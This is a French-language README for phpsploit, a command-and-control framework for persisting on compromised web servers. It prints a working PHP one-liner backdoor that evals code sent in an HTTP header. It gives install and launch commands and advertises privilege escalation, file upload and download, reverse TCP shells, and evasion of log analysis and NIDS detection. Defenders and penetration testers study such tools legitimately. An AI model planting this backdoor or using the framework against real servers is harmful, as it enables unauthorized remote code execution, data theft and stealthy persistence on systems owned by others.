phpsploit

Framework C2 complet qui persiste silencieusement sur
un serveur web via un oneliner PHP polymorphe

codeclimate maintainability

Aperçu

La communication obfusquée est réalisée en utilisant des en-têtes HTTP dans les requêtes client standard et les réponses relatives du serveur web, tunnelée via un minuscule backdoor polymorphe :

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Démarrage rapide

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

Fonctionnalités

• Efficace : Plus de 20 plugins pour automatiser les tâches d'élévation de privilèges

  • Exécuter des commandes et parcourir le système de fichiers, en contournant les restrictions de sécurité PHP
  • Télécharger/Téléverser des fichiers entre le client et la cible
  • Modifier des fichiers distants via un éditeur de texte local
  • Lancer une console SQL sur le système cible
  • Générer des shells TCP inversés

• Furtif : Le framework est conçu par des paranos, pour des paranos

  • Quasiment invisible par l'analyse des logs et la détection de signatures NIDS
  • Contournement du mode sans échec et des restrictions de sécurité PHP courantes
  • Les communications sont cachées dans les en-têtes HTTP
  • Les charges utiles chargées sont obfusquées pour contourner les NIDS
  • Prise en charge des proxys http/https/socks4/socks5

• Pratique : Une interface robuste avec de nombreuses fonctionnalités essentielles

  • Aide détaillée pour toute option (commande help)
  • Multiplateforme à la fois client et serveur
  • L'interface en ligne de commande prend en charge l'auto-complétion et les multi-commandes
  • Fonctionnalité de sauvegarde/chargement de session et historique persistant
  • Prise en charge des requêtes multiples pour les charges utiles volumineuses (telles que les téléversements)
  • Fournit un moteur de paramètres puissant et hautement configurable
  • Chaque paramètre, comme le user-agent, dispose d'un mode polymorphe
  • Variables d'environnement personnalisables pour l'interaction des plugins
  • Fournit une API complète de développement de plugins

Plateformes supportées (en tant qu'attaquant) :

• GNU/Linux
• Mac OS X

Plateformes supportées (en tant que cible) :

• GNU/Linux
• BSD-like
• Mac OS X
• Windows NT

Contributeurs

Merci à ces personnes formidables :

Ce projet suit la spécification all-contributors. Les contributions de tout type sont les bienvenues